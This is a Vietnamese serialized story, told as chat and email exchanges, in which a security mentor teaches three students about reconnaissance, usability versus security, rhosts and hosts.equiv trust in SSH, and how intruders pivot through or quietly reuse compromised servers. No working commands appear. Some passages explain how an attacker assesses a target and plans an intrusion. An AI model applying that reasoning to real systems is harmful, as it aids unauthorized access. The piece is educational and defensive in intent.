"Ừa, có lẽ mình nên khai triển từng phần một để đỡ rối rắm. Theo anh thấy, thăm dò có hai loại chính: động và tĩnh. Mỗi loại gắn liền với cái gọi là 'trước' và 'sau'. Điểm quan trọng hàng đầu của việc thăm dò là làm sao thu thập được thông tin xác thực nhất nhưng lại kín đáo nhất, ít bị phát hiện nhất."
'haothu' reo lên:
"Ái chà, thăm dò có 'động' và 'tĩnh' sao anh? Lần đầu tiên em nghe đó."
Tôi cười đáp:
"Ừa, động và tĩnh là hai từ anh tạm dịch sang tiếng Việt. Đúng ra nó là "active" và "passive" theo tiếng Anh. "Active" ở đây là 'động' nhưng nó còn có tinh thần là trực tiếp. Trong khi đó, "passive" là tĩnh và nó mang tinh thần gián tiếp. Vậy thế nào là "active" và thế nào là "passive"? active là lối thăm dò tạo ra bằng cách tương tác trực tiếp với hệ thống mình muốn thăm dò và passive là lối thăm dò không tương tác trực tiếp."
'cuti' thắc mắc:
"Nhưng làm sao mình biết được có hai dạng thăm dò 'active' và 'passive' anh? Cái này mình đọc sách hay tham khảo ở đâu vậy?"
Tôi đáp:
"Hai dạng thăm dò này quá rõ cho nên chỉ cần dùng suy luận thông thường cũng có thể xếp loại chúng thành hai dạng. Còn những cách thăm dò thế nào thì mình phải tham khảo nhiều nơi và tự tay táy máy mà ra."
'docco' hỏi tiếp:
"Vậy giữa hai dạng này, cái nào cho mình thông tin chính xác hơn cái nào anh?"
Tôi trả lời:
"Kinh nghiệm bản thân anh thấy dạng thăm dò 'active' thường cho thông tin chính xác hơn nhưng cũng còn tuỳ mình muốn lấy thông tin gì nữa. Ví dụ như cách thăm dò để lấy thông tin về domain name, các hosts trong domain và IP của chúng thì em chỉ cần query một DNS server nào đó thì đã có thể có một số thông tin. Ngay cả em dùng các công cụ online (web-based) để lấy thông tin loại này cũng thuộc dạng 'passive' và cũng có thông tin khá chính xác (ngoại trừ công cụ online này sử dụng một DNS server nào đó có vấn đề). Nếu em muốn lấy thông tin cụ thể hơn và các hosts trong một mạng mà thông tin này không được công bố trên DNS công cộng thì phải vận dụng đến cách thăm dò 'active'. Nói tổng quát thì có những loại thông tin đòi hỏi dùng dạng 'active' thì mới lấy được. Cho nên, 'active' thì thường chính xác hơn nhưng ít kín đáo hơn, 'passive' thì kín đáo hơn nhưng những thông tin này mang tính tổng quát hơn."
'cuti' vẫn tiếp tục thắc mắc:
"Em vẫn thắc mắc là làm sao biết được những kỹ thuật thăm dò đây anh. Ví dụ như bọn em tay mơ, chưa biết gì hết. Bây giờ bọn em muốn thử thăm dò thì bắt đầu từ đâu anh?"
Tôi cười, đáp:
"Tất nhiên là bắt đầu từ tài liệu, thông tin trong sách, trên web, trên các forum chuyên về bảo mật hay thâm nhập. Nếu em thử dùng từ khoá 'reconnaissance' và google thử thì em sẽ thấy thông tin nhiều biết chừng nào. Theo anh thấy, cái khó không phải là phương tiện tìm thông tin mà là phương tiện thu thập, lọc lựa, thử nghiệm và ứng dụng thông tin."
'haothu' cảm thán:
"Ôi trời, sao em thấy bây giờ hỏi ai cái gì cũng được trả lời là 'google', 'google', 'google' vậy anh. Anh cũng đề nghị bọn em nên 'google' nữa rồi . Em thấy tìm thông tin trên 'google' lan man quá anh."
Tôi đáp:
"Em không biết sao? Dùng search engine cũng là một trong những kỹ thuật 'reconnaissance' đó em. Nói chung, khả năng tìm không thể thiếu cho việc 'reconnaissance'. Không biết tìm, không thể thực hiện 'reconnaissance' hiệu quả được."
'cuti' láu lỉnh:
"Vậy anh muốn bọn em học cách dùng 'google' luôn chớ gì? "
Tôi trả lời:
"Hì hì, không anh muốn mà anh chỉ đề nghị mà thôi. Thời buổi này 'information is gold'. Information thì có khắp nơi. Em lên web thì từ thứ rác rưởi đến những thông tin cực kỳ quý giá đều có. Chỉ có em tự đào luyện cho mình kỹ năng tìm thông tin (bằng google hay bất cứ search engine nào) và kỹ năng chọn lọc thông tin. Càng có thể thu thập và chọn lọc thông tin, em càng 'đi trước' những người khác trên phương diện này."
'cuti' phân bua:
"Hì hì, em chỉ đùa thôi mà. Em biết 'google' và các search engine khác có những thông tin cực kỳ quý giá. Em chỉ thấy khó ở chỗ dùng cách nào để tìm và làm sao biết được thông tin nào cần lấy, thông tin nào không cần lấy thôi."
Tôi đáp:
"Em vào bất cứ trang chủ của bất cứ search engine nào cũng có thể thấy không ít thì nhiều hướng dẫn cách 'search', em nên đọc kỹ hướng dẫn để dùng cho hiệu quả. Sở dĩ ai cũng nhắc đến 'google' vì hiện nay nó là 'máy tìm' số một. Thật ra không có nhiều người thực sự sử dụng đúng mức chức năng của google để tìm thông tin và phần lớn là do không chịu đọc hướng dẫn của google đưa ra. Anh thấy gần đây đám O'Reilly còn xuất bản cả cuốn "google hack" nữa. Anh chưa đọc cuốn này nhưng anh đoán là nó giới thiệu những thủ thuật tìm kiếm trên google và những thủ thuật này đi từ phần hướng dẫn của google mà ra.
Riêng việc biết thông tin nào cần lấy hay không thì đây là vấn đề kinh nghiệm. Em phải cần thời gian để bồi đắp kinh nghiệm này. Kinh nghiệm bản thân thì anh không 'tin' ngay vào nguồn thông tin anh kiếm được. Anh thường tìm cả tìm nguồn thông tin khác để đối chứng và khi có điều kiện, anh tự tay 'táy máy' để xác thực giá trị của thông tin anh tìm được. Lâu ngày tự nhiên có kinh nghiệm nhiều hơn, mình có thể xác định được nguồn tin nào đáng tin và nguồn tin nào cần xét lại. Cũng từ kinh nghiệm, đôi khi đọc một đoạn thông tin em có thể xác định thông tin này đáng tin hay không dựa trên tính logic của nó, dựa trên sự liền lạc và sự vững vàng trong cấu trúc của nó."
'cuti' rên rỉ:
"Ôi trời, sao mà khó quá vậy anh? . Bọn em đọc tiếng Anh chưa nên thân mà anh còn bắt phải 'dính' vào chỗ xem nội dung thông tin để đánh giá và thu lượm chúng thì làm sao làm nổi? Hoạ may bọn em có tiếng Anh thật chiến, có khả năng đọc, nhớ và phân tích nhanh như... điện."
'haothu' chêm vào thêm:
"Em cũng thấy như vậy đó. Đưa em một cuốn sách của OReilly, của Wiley hay của Syngress đã xuất bản, đã biên tập và chọn lựa hẳn hòi, em đọc mà thấy muốn chảy... mỡ ra, huống hồ chi thông tin tản mạn trên net. Anh có cách gì khác không anh?"
Tôi cười, đáp:
"Hì hì, bởi thế mấy nhà xuất bản mới kiếm sống được chớ em? trên 90% những gì được in trên sách đi từ những thông tin có trên Internet. Thông tin được trao đổi từ các newsgroup, từ các forums, từ những nhóm bug track, từ các security articles, từ trường đại học, từ các nhóm nghiên cứu... được thu thập, lọc lựa, tuyển chọn và được viết lại bằng sách một cách có hệ thống, có logic, bằng thứ ngôn ngữ ai cũng có thể tiếp nhận được. Tuy nhiên, không phải sách nào cũng có nội dung hoàn toàn chính xác và một điều quan trọng là khi sách được in ra thì những thông tin này gần như đã lỗi thời so với thực tế. Nhất là với lĩnh vực công nghệ thông tin và đặc biệt là bảo mật."
'haothu' tiếp tục:
"Vậy anh nghĩ bọn em phải làm sao bây giờ?"
Tôi đáp:
"Làm sao? Thì em vẫn đi học, vẫn đọc sách giáo khoa cho cẩn thận, vẫn đào luyện cho mình khả năng tiếp nhận thông tin theo dạng 'hàn lâm' ở trường và bắt đầu làm quen với mớ 'hỗn độn' trên Internet chớ sao? "
'cuti' nhăn nhó:
"Anh cứ trêu hoài . Em hỏi thật mà. Em cũng cảm thấy y hệt như thằng Khoa vậy."
Tôi cười phá lên rồi đáp:
"Thì anh nói thật mà. Câu vừa rồi anh nói hoàn toàn nghiêm túc. Em cứ thử nghiệm xem đi. Thông tin là thức ăn cho tinh thần, không ai có thể ép em phải 'ăn' cái gì cả. Họ chỉ có thể đề nghị em nên chọn thức ăn ra sao và cách tổng quát để 'tiêu hoá' thức ăn mà thôi."
'docco' tiu nghỉu:
"Chắc phải vậy rồi. Em chợt nhớ một chi tiết mình 'đà khía' trước đây: đều đặn và điều độ; nguyên tắc '4 đê' đó anh. Phải có '4 đê' thì hoạ may mới hình thành được mớ kỹ năng cần thiết để 'chọn thức ăn và tiêu hoá thức ăn' phải không anh?"
Tôi đáp:
"Đúng rồi đó em. Chắc chắn phải cần '4 đê'. Thôi khuya rồi, anh phải đi ngủ mai còn đi làm sớm. Lần sau mình 'đà khía' vài chi tiết về 'reconnaissance' cho vui nha?"
'cuti' nhanh nhảu:
"Dạ, quá đã đó anh."
'docco' kỳ nèo:
"Hứa đó nhe anh. Lần nào mình cũng sa đà vào những chuyện khác."
'haothu' hóm hỉnh:
"Em thì cái gì cũng được hết. Miễn sao ngồi đà khía như thế này là vui rồi."
Tôi đáp:
"Ừa, nhất định mình sẽ bàn chuyện này mà Duy. Anh chỉ thấy nó chưa quá sức quan trọng lúc này thôi. Anh muốn em có 'right set of mind' trước khi đi vào chỗ đó . OK, bye mấy ku."
và tôi logoff. Đồng hồ cũng vừa gõ mười tiếng.
7/9/2005
<còn tiếp>
|
|
|
10. "Hai mặt" của vấn đề - 'nhu cầu cụ thể':
Tuần này, tôi liên tục nhận mail và offline message từ bộ ba Khoa, Hưng, Duy nhưng 'docco' Duy là người gởi nhiều nhất và thường xuyên nhất. Điều làm tôi thích thú khi đọc mail và offline messages của 'docco' là vì tính chín chắn và cẩn thận của cu cậu. Hẳn nhiên 'docco' Duy vẫn phảng phất hơi hám của một 'rookie', điều này hẳn không tránh khỏi nhưng so với 'cuti' và 'haothu', những phát biểu và nhận định của 'docco' có trọng lượng khác hẳn. Có lẽ cu cậu đã suy nghĩ kỹ trước khi nói. Tôi cảm mến từng cậu trong bộ ba này, mỗi người một vẻ, mỗi người đều có ưu khuyết điểm. Tuy nhiên, một điều làm tôi cảm thấy không bị 'phí' là cả ba cậu đều tỏ vẻ thật sự chuyên chú vào những điều chúng tôi bàn cãi.
Hôm qua tôi nhận được một e-mail từ 'docco' như sau:
"Anh D thân mến,
Sau một hồi truy lùng, em đã biết được tên thật của anh. Thật không ngờ em biết anh đã lâu, từ một nơi khác nhưng không biết anh... chính là anh. Em đã có lúc ngờ ngợ vì cách nói chuyện của anh nhưng không tiện hỏi. Và thế là sau một cuộc dò xét, em đã biết chắc anh chính là người em đã biết và từng trao đổi (không trực tiếp mà chỉ trên một diễn đàn nọ) từ mấy năm trước. Cho em xin lỗi nếu như anh cảm thấy khó chịu khi danh tánh của anh bị em khám phá nha? Em không có ý gì hết, em chỉ muốn tìm hiểu người mình đang trao đổi. Lý do rất đơn giản là em không hiểu tại sao anh có thể khiến em phải suy nghĩ rất nhiều với những điều mấy anh em mình trao đổi. Cho nên, em mới tò mò tìm hiểu xem thực sự anh là ai.
Tuần này anh có rảnh không? Khi nào rảnh, anh cho em biết với. Em rất muốn nói chuyện với anh. Em có một số thắc mắc muốn anh giải toả dùm em. Em muốn hỏi những vấn đề thuộc về kỹ năng phân tích. Mấy cái mail với offline message bị tản mạn quá, nếu nói chuyện được thì liền lạc hơn.
Mong anh sớm hồi âm. Chúc anh một ngày làm việc vui vẻ."
Tôi tự hỏi không biết 'docco' Duy là ai mà bí hiểm thế. Tôi trả lời mail cho 'docco' như sau:
"Duy thân mến,
Thứ Năm tuần này anh có ngày nghỉ bù. Buổi sáng anh rảnh nhưng lúc đó chắc em chưa ngủ dậy. Buổi trưa thì anh phải đi ít công chuyện. Buổi chiều chắc anh rảnh được 1, 2 tiếng. Nếu thấy tiện, cho anh biết để anh online nha? Nhớ rủ luôn hai đứa Hưng, Khoa nếu tụi nó rảnh. Còn chuyện danh tánh... hì hì, sao mày lắm chuyện vậy em?
Thân."
Chẳng mấy chốc, tôi nhận được hồi âm của 'docco'. Cu cậu sẽ online chiều thứ Năm.
Như đã hẹn, tôi làm một ly cà fê và logon YIM vào chiều thứ Năm. 'docco' đã có mặt sẵn nhưng chẳng thấy tăm hơi hai trự Hưng và Khoa đâu cả. Tôi gởi 'docco' một thông điệp:
"Chào Duy, em vào lâu chưa? Còn hai đứa kia đâu?"
'docco' trả lời ngay:
"Dạ, em vào cũng gần một tiếng rồi anh à. Nãy giờ em ngồi lướt web, đọc lăng nhăng mấy bản tin vậy mà. Còn thằng Hưng thì đi Long Hải chơi rồi. Nó nhắn em nó xin lỗi vì không vào được bởi vì bị kẹt 'sô' với gia đình nhưng em nghi nó dẫn con bồ đi Long Hải chơi chớ chẳng gia đình gì đâu, hi hi. Còn thằng Khoa thì hôm nay kẹt đám giỗ gì đó anh, nó không online được."
Tôi đáp:
"Ừa, 'cuti' nhà mình đi chơi với bồ thì đó là 'đại sự' cho nó đó em, nó đã muốn dấu mà còn 'khai' với anh làm chi?. Còn trự Khoa bận gia đình thì lần khác cũng được. Thôi thì anh em mình nói chuyện lai rai cũng được."
'docco' phản đối:
"Sao lại lai rai anh? Em có những thắc mắc toàn là... gay cấn không đó. Vậy anh thích nói chuyện lai rai hay anh thích nói chuyện kỹ thuật?"
Tôi cười, đáp:
"Hì hì, lai rai kỹ thuật được hông?"
'docco' đáp:
"Dạ được chớ anh. Miễn có kỹ thuật là đã rồi ."
Tôi đà khía:
"Hèm... em có vẻ khoái kỹ thuật lắm hả? Được rồi, để xem bao lâu em sẽ ngán 'kỹ thuật' lên tới cổ ."
'docco' vẫn một mực:
"Dạ chắc em chẳng khi nào ngán kỹ thuật tới cổ đâu anh. Chừng nào em ngán thì anh thấy em biến mất tăm liền. Bây giờ em muốn hỏi anh câu này: công tác của người làm bảo mật là tạo nên sự cân bằng giữa tiện dụng và bảo mật. Trong khi đó, vai trò của kẻ tấn công là tìm ra những điểm yếu của sự thiếu cân bằng giữa tiện dụng và bảo mật để thâm nhập. Em hình dung câu này tổng hợp 'hai mặt của vấn đề'. Tuy nhiên, em chưa thể hình dung ra khi nào là tiện dụng và khi nào bảo mật. Làm sao kẻ tấn công biết được những điểm tiện dụng của một hệ thống nào đó mà khai thác? Có lẽ em chưa đọc đủ nhiều để thấy những điểm này trong sách. Anh phân tích dùm em được không?"
Tôi cười đáp:
"Em tinh tế lắm, lôi ra được câu này trong đống chữ mình trao đổi lần trước chứng tỏ em 'rà' rất kỹ. Anh nghĩ mình nên dành câu này làm câu chót đi. Anh em mình đà khía một hồi, tự nhiên em không cần hỏi câu này nữa đâu. Anh tin như vậy."
'docco' hồ hởi:
"Dạ được mà, nhưng em phải ghi xuống để tí nữa lại hỏi anh câu này nếu em thấy còn cần phải hỏi. Vậy em muốn hỏi tiếp là thế nào là tiện dụng và thế nào là bảo mật anh?"
Tôi ngẫm nghĩ rồi đáp:
"Thế này. Bất cứ một chương trình nào được tạo ra cũng không ngoài mục đích phục vụ một nhu cầu nào đó. Một chương trình càng lớn, càng phức tạp thì thường có nhiều chức năng để phục vụ nhiều nhu cầu, nhiều trường hợp nhưng lại bị vướng vào tình trạng dễ bị lỗi. Ngày trước, một chương trình viết ra thường cố gắng đạt được mức gọn nhẹ và hiệu xuất bởi vì khả năng đáp ứng và xử lý của hardware lúc ấy còn hạn chế. Khi hardware càng ngày càng nâng cao và cải tiến, software càng ngày càng mở rộng chức năng. Đòi hỏi 'gọn nhẹ' không còn là điểm tối quan trọng nữa mà đòi hỏi 'đa năng' chiếm vị trí ưu tiên. Tất nhiên ngày nay vẫn có những software được viết với tinh thần 'gọn nhẹ và hiệu xuất nhưng khá hiếm. Vì lẽ tự nhiên, cái gì càng phức tạp càng dễ gặp phải thiếu sót và thiếu sót dẫn đến lỗi. Ngay cả những software được viết có rất ít lỗi nhưng vì đòi hỏi 'đă năng' nên tính bảo mật 'bị' nhân nhượng.
Ví dụ, một software có mười chức năng chẳng hạn. Không nhất thiết chức năng nào cũng áp đặt tính bảo mật trong đó. Trái lại, tính tiện dụng thường chiếm ưu tiên. Ngoại trừ những software chuyên cho bảo mật thì không kể (nhưng vẫn có ít nhiều tính năng tiện dụng, không thì không đáp ứng được nhu cầu... lười của con người ). Lần trước mấy anh em mình bàn về SSH, em cũng thấy rằng tập tin cấu hình của ssh (sshd_config) có vài tá giá trị chọn lựa. Hơn một nửa là để phục vụ tính tiện dụng, phần còn lại chuyên chú về bảo mật. Nếu áp đặt quá nặng bảo mật thì người dùng sẽ gặp khó khăn, nếu thả lỏng để tiện dụng thì làm mất đi tính bảo mật.
Vậy, tiện dụng là gì? là những tính năng giúp cho việc sử dụng dễ dàng, đỡ mất công và nhanh chóng. Bảo mật là gì? là những tính năng 'làm khó', làm cản trở sự thâm nhập. Những cái 'làm khó' này dẫn đến sự mất tiện dụng cho người dùng bình thường."
'docco' tiếp tục 'khai thác':
"Anh có thể chứng minh những điểm 'tiện dụng' và 'bảo mật' trong một hồ sơ cấu hình được không anh? sshd_config chẳng hạn? Thú thật là em chưa đọc kỹ và thử nghiệm hết những thứ có trong sshd_config nhưng nếu anh cho em vài ví dụ thì quá hay."
Tôi cười, đáp:
"Chừng nào em còn chưa đọc kỹ và tự thử nghiệm thì chừng đó em chỉ dừng lại ở những điểm em... đọc chưa kỹ và chưa thử nghiệm mà thôi. Anh có thể cho em một ví dụ trong tập tin cấu hình sshd_config nhưng để thật sự nắm bắt sshd_config, em phải tự tay 'táy máy' thôi. Lý do? mỗi giá trị cấu hình (của bất cứ dịch vụ nào) đều có những giềng mối, những liên quan sâu xa đến hệ điều hành nó đang chạy và chỉ có tận tay thực hành thì mới thấy rõ được.
Hãy thử xét giá trị RhostsAuthentication yes chẳng hạn. Nếu em đọc kỹ man của sshd, em sẽ thấy giá trị RhostsAuthentication này dùng để cho phép người dùng xác thực danh tánh của mình dựa trên hai giá trị: tên của máy và tên người dùng. Giá trị RhostsAuthentication yes trực tiếp liên hệ với hai giá trị khác: StrictModes và IgnoreRhosts. Nếu tên của máy (ở xa) cũng như tên người dùng của máy này đã được ssh server 'tin' (trusted) thì người dùng ấy chỉ cần gõ:
Code:
Là người ấy có thể đi thẳng vào máy chủ myserver mà không cần gõ password hay pass-phrase gì cả. Tiện không? Tiện quá đi chớ. Nhưng bảo mật? chắc chắn là không bảo mật. Đây là điểm tiện dụng mà nhóm phát triển SSH vẫn giữ lại để đáp ứng nhu cầu của những người quen dùng series r trên *nix.
Có những system admin mỗi ngày phải login, logout hàng chục hoặc hàng trăm servers và phải gõ tên + password như vậy thì quá... mệt. Cho nên, đã có những người 'hack' *nix từ thuở ban đầu để tạo sự tiện dụng. Nếu em dùng UNIX nhiều, đặc biệt là nhánh *bsd, em hẳn quen biết đến series r* như rlogin, rsh, rcp, rexec... cho phép truy cập và thực thi lệnh từ máy này đến máy kia mà không cần phải gõ tên người và password. Điều duy nhất system admin cần điều chỉnh là đưa vào giá trị tên máy (của người muốn truy cập vào server) vào /etc/hosts.equiv của server là xong. Tất nhiên người ấy phải có tài khoản trên myserver (được làm ví dụ ở đây)."
'docco' reo lên:
"Chà, tiện quá vậy anh? Em không ngờ *nix có nhiều cái hay ghê. Nhưng dùng cách trên em thấy cũng an toàn mà anh? Nếu kẻ muốn thâm nhập thử dùng tên account không có trên myserver kia thì cũng chẳng làm gì được phải không anh?"
Tôi đáp:
"Tất nhiên là không rồi. Nhưng em thử nghĩ thêm một chút xem, nếu kẻ tấn công dùng account có tên là a và vào không được, liệu hắn ta có thử dùng account có tên là b để thử tiếp không? . Đó là chưa kể đến những phương tiện và kỹ thuật có thể enumerate ra tên người dùng của các tài khoản hiện hữu trên hệ thống."
'docco' trầm ngâm:
"Dám lắm chớ. Gặp em thì em cũng thử b sau khi thử a liền. Nhưng làm cách này mất công quá anh? Và nếu kẻ tấn công đi từ bên ngoài vào, làm sao tên máy của hắn có trên máy chủ myserver mà thử anh? Dẫu hắn có dùng đúng account có thật đi chăng nữa cũng vô ích thôi. Em nghĩ vậy không biết có đúng không?"
'docco' thật tinh tế! Tôi cười đáp:
"Em nghĩ hoàn toàn đúng trong khuôn khổ 'thâm nhập điểm thứ nhất của hệ thống' nhưng chưa đủ sâu trong khuôn khổ 'từ điểm thứ nhất của hệ thống đến trọn bộ hệ thống'."
'docco' ngỡ ngàng:
"Ui.... là sao hở anh?"
Tôi tiếp tục trả lời:
"Bảo mật cho một hệ thống (mạng) không dừng lại chỉ một máy mà bảo mật phải cho tất cả các máy của hệ thống. Nếu một trong những máy của hệ thống bị nhân nhượng (vì lý do nào đó) và nếu chế độ truy cập từ máy này sang máy kia của hệ thống dựa trên tinh thần 'trust' một cách 'tiện dụng' theo kiểu dùng /etc/hosts.equiv ở trên thì trọn bộ hệ thống bị sụp đổ nhanh chóng sau khi máy thứ nhất bị nhân nhượng. Ở đây anh muốn nhấn mạnh cái tác hại của dạng thiết kế thiếu cân bằng giữa tiện dụng và bảo mật.
Sự cân bằng giữa 'tiện dụng' và 'bảo mật' nằm ở chỗ: những gì không cần tiện dụng, không nên làm cho nó tiện dụng; những gì nên bảo mật, không nên làm cho nó tiện dụng. Nhu cầu tiện dụng phải có giới hạn nhất định và giới hạn này được đánh giá dựa trên cái nhìn bảo mật chớ không phải dựa trên cái nhìn tiện dụng."
'docco' vẫn thắc mắc:
"Nhưng em thấy rằng các máy chủ chính nó thường bị thâm nhập chớ em chưa từng nghe thấy trường hợp một máy trong nội mạng và các máy khác bị thâm nhập theo bao giờ. Trường hợp này là sao anh?"
Tôi giải thích:
"À, anh biết em thắc mắc vì em nghĩ rằng (hoặc nghe thấy) những vụ 'deface' hay thâm nhập xảy ra thường chuyên chú vào một web server nào đó và khi một thông điệp hiện lên trên trang chủ, đại loại như defaced by docco thì... xong chuyện. Tính về độ 'tàn phá' thì làm như thế chỉ xước nhẹ trên bề mặt, hay thuật ngữ tiếng Anh còn gọi là 'scratch the surface'. Khổ chủ chỉ bị 'mất mặt' vì website của mình bị ai đó thay đổi nội dung. So what? một ngày, hai ngày, ba ngày hay một tháng thì chẳng ai còn nhớ đến biến cố bị deface này nữa. Chẳng những thế, nếu họ bị 'deface' một lần thì cơ hội bị 'deface' lần kế tiếp rất thấp vì họ sẽ kiện toàn. Ngoại trừ website này là một website chẳng ai thèm viếng, chẳng ai buồn lo cho sự tồn tại của nó hoặc khổ chủ không có điều kiện, phương tiện để kiện toàn nó. Nếu thế thì còn gì lý thú để mà thâm nhập lần nữa?
Mức độ nguy hiểm thực sự khi một máy chủ bị thâm nhập nhưng chẳng ai biết, kể cả khổ chủ. Ngay cả máy chủ này chẳng có thông tin gì lý thú, kẻ tấn công thuộc dạng 'nguy hiểm' thường để dành nó cho những việc khác. Ví dụ, dùng máy chủ này làm bàn đạp để thâm nhập những máy chủ khác, dùng máy chủ này để biến nó thành zombie để tấn công những mục tiêu khác hoặc ngay cả dùng nó để làm tài nguyên cho những công việc như biên dịch, brute force password, chứa dữ liệu.... Anh thấy những trò dán bảng hiệu 'defaced by someone' khá là con nít và vô ích nếu xét trên phương diện thâm nhập một cách nghiêm túc. Nếu cả một hệ thống đều bị nhận nhượng ở tình trạng 'yên ắng' thế này thì độ nguy hiểm hẳn phải ghê gớm hơn nhiều."
'docco' reo lên thích thú:
"Ái chà, em chưa bao giờ nghĩ đến hoặc nghe đến việc 'hack' một máy chủ và dùng nó cho mục đích riêng của mình như để biên dịch hay để brute force password bao giờ. Quả là thâm, quả là thâm. Anh chỉ đường cho hươu chạy rồi đó nhe? Vậy anh có áp dụng chuyện này cho mục đích riêng của anh không? Em đoán chắc là có "
Tôi cười, đáp:
"Em lại dùng chữ 'hack' sai nữa rồi. Không em, em đoán sai rồi. Anh may mắn được làm việc trong những môi trường có CPU, có tài nguyên để đáp ứng nhu cầu mình cần. Nếu cần brute force, anh có thể dùng vài cái mid-range servers để thực hiện, anh không cần phải mất thời gian để thâm nhập một server nào đó rồi 'chôm' một ít CPU. Ngay cả nếu như anh không được điều kiện thuận lợi để dùng các máy thứ dữ ở công ty, anh cũng chưa bao giờ có ý định thâm nhập để 'chôm' CPU bao giờ. Lý do anh biết được điểm lý thú này là vì trước đây có một khách hàng của anh bị thâm nhập. Máy chủ đó bị 'root-kit' và nó bị biến thành một máy chuyên để brute force. Tay chủ nhân chỉ thấy máy chủ của mình có những lúc chạy chậm quá nên nhờ anh điều tra (và bởi thế họ trở thành khách hàng của anh). Nhờ dịp này anh mới học được kinh nghiệm đó.
Còn chuyện 'chỉ đường cho hươu chạy' thì em đừng lo. Để có thể thâm nhập một mục tiêu và lẳng lặng biến nó thành nguồn tài nguyên cho mục đích riêng của mình đòi hỏi phải có kinh nghiệm và khả năng thật sự. Những người chỉ biết thao tác mấy thứ sql injection hay xss từ những tài liệu có sẵn trên tầng web thì không có cách gì thực hiện ý định ở mức độ anh nêu ra ở đây đâu. Em đừng lo. Anh đề cập chuyện này ở đây theo tinh thần là: có nhiều cấp độ thâm nhập và nhiều cấp độ sử dụng kết quả đạt được mà thôi."
'docco' trầm ngâm hồi lâu rồi cảm thán:
"Chà, hình như anh em mình bắt đầu đi vào cõi thâm u rồi đây. Thú thật em hơi bị lùng bùng rồi đó. Vậy còn chuyện 'trust' anh đề cập ở đây có giống như kiểu 'trusted domains' trên Windows không anh?"
Tôi đáp:
"Hì hì, em không dằn được ý muốn phải dùng Windows để so sánh hả? Chuyện 'trust' ở đây, về mặt khái niệm thì nó tương tự như 'trusted domains' trên Windows nhưng cơ chế thì khác. 'trust' ở đây là sự tin tưởng được thiết lập dựa trên một số dữ kiện nào đó. Trong trường hợp /etc/hosts.equiv mình bàn ở đây, miễn sao trong hồ sơ cấu hình này có giá trị tên máy thì máy đó được quyền truy cập vào máy chủ mà không cần phải cung cấp thêm thông tin nào khác. Mức độ 'trust' ở đây giới hạn giữa máy trạm và máy chủ nào có giá trị tên máy trạm trong /etc/hosts.equiv mà thôi. Nó không mở rộng ra ở biên độ trọn bộ một (hoặc nhiều) 'forest' như trên Windows.
Nói về mặt tinh thần, 'trust' bằng rhost và /etc/hosts.equiv trên *nix và trusted forest trên Windows có cùng mục đích: tiện dụng. Tính tiện dụng ở đây lấn át tính bảo mật và đây là chuyện một chuyên viên bảo mật phải cân bằng."
'docco' than vãn:
"Có quá nhiều khái niệm mới mẻ em cần phải nắm bắt . Càng đi vào sâu, em càng thấy rối rắm đó anh."
Tôi cười thông cảm và đáp:
"Có lẽ em chưa quen với những khái niệm này thôi. Em chỉ cần nắm một điểm cốt lõi: tiện dụng cho người dùng hợp lệ thì cũng tiện dụng cho người dùng bất hợp lệ --> kém bảo mật. Nói một cách khác, tiện dụng tỷ lệ nghịch với bảo mật. Người bảo mật phải biết dừng lại ở đâu khi cung cấp tính 'tiện dụng' cho người dùng. Kẻ tấn công phải biết suy xét từ thông tin thu thập được sau khi 'khảo sát' một hệ thống để đánh giá mức độ 'tiện dụng' đang được dùng trên hệ thống và rồi hình thành kế hoạch thâm nhập.
Nếu người làm bảo mật có cái nhìn vững vàng về bảo mật thì anh ta sẽ thiết kế hệ thống có những điểm tiện dụng nhưng phải cân bằng với bảo mật. Nếu kẻ tấn công có cái nhìn vững vàng về thâm nhập, hiểu rõ về hệ thống thì hắn ta sẽ có khả năng xác định được hệ thống này được đặt trên tiêu chỉ 'bảo mật' hay tiêu chỉ 'tiện dụng'. Nói cho cùng, nhu cầu cụ thể phải được xác định rõ ràng và cụ thể ngay từ đầu rồi mới hình thành được mức độ tiện dụng và bảo mật.
'docco' đào xới:
"Nói vậy, nhìn từ phương diện 'kẻ tấn công', tính 'tiện dụng' được khám phá và thẩm định thế nào để có thể tấn công vậy anh?"
Tôi đáp:
"Xét về mặt tâm lý, khi thử nghiệm và dò xét một hệ thống, nếu em phát hiện ra một lỗi nhỏ nào đó --> chưa hẳn là admin của hệ thống này kém cỏi, lười biếng hay chọn nguyên tắc 'tiện dụng'. Tuy nhiên, nếu em phát hiện ra nhiều sơ sót và những sơ sót này nghiêng hẳn về hướng tiện dụng --> chắc chắc phần lớn hệ thống thiết kế theo hướng tiện dụng. Kỹ thuật thẩm định (hay còn gọi là reconnaissance technique) đòi hỏi rất nhiều kinh nghiệm và kiến thức. Quá trình thẩm định có thể bao gồm một máy chủ cho đến trọn bộ một network hay nhiều network liên hệ đến mục tiêu. Từ những thông tin lấy được, em có thể xác định được tỉ lệ 'tiện dụng' so với 'bảo mật' của mục tiêu này và từ đó, một kế hoạch thâm nhập sẽ được hình thành. Thông tin thu lượm được có xác thực hay không là tùy vào sự kiên nhẫn và kiến thức của em; đây cũng là chìa khoá của sự thành công hay thất bại của việc thâm nhập.
Nếu system admin của mục tiêu em muốn thâm nhập có rất ít kinh nghiệm về bảo mật, không hình thành kế hoạch trước khi thiết lập hệ thống một cách chi tiết và khoa học, điều này sẽ thể hiện rất rõ trong quá trình em thực hiện 'reconnaissance'. Đây là lý do có những hệ thống bị nhân nhượng một cách nhanh chóng và dễ dàng."
'docco' cười một cách thích thú:
"He he, em thấy những hệ thống em từng được phép tiếp xúc, chẳng hạn như các hệ thống ở trường em, system admin chỉ cắm đầu cắm cổ mà cài cài, đặt đặt miễn sao cho nó chạy là mừng rồi. Hèn chi mà máy chủ ở VN mình bị phá tơi bời. Vậy ý anh là việc chuẩn bị trước khi thiết lập một hệ thống là điều cần thiết?"
Tôi cười, đáp lời 'docco':
"Đúng rồi đó em. IT nói chung và bảo mật nói riêng cũng như bao nhiêu ngành nghề khác, bước chuẩn bị là bước quan trọng nhất. Muốn kết quả có mỹ mãn hay không, muốn giảm thiểu tắc trách, muốn loại trừ thiếu sót, muốn không mất thời gian về sau.... tất cả đều phụ thuộc vào bước chuẩn bị này. Một chuyên viên có giỏi kỹ thuật đến mấy, có kinh nghiệm làm việc đến cỡ nào mà xông thẳng vào việc thiết lập, bỏ ngang bước chuẩn bị hoặc xem nhẹ bước chuẩn bị thì không thể nào có kết quả bằng một chuyên viên khác biết chuẩn bị kỹ lưỡng. Thiết kế một hệ thống làm việc không những chỉ dừng lại ở sự tiện dụng, sự bảo mật mà còn liên hệ trực tiếp đến hiệu xuất của hệ thống và khả năng mở rộng của chúng nữa. Những cái này đi ra từ bước chuẩn bị cả ."
'docco' reo lên:
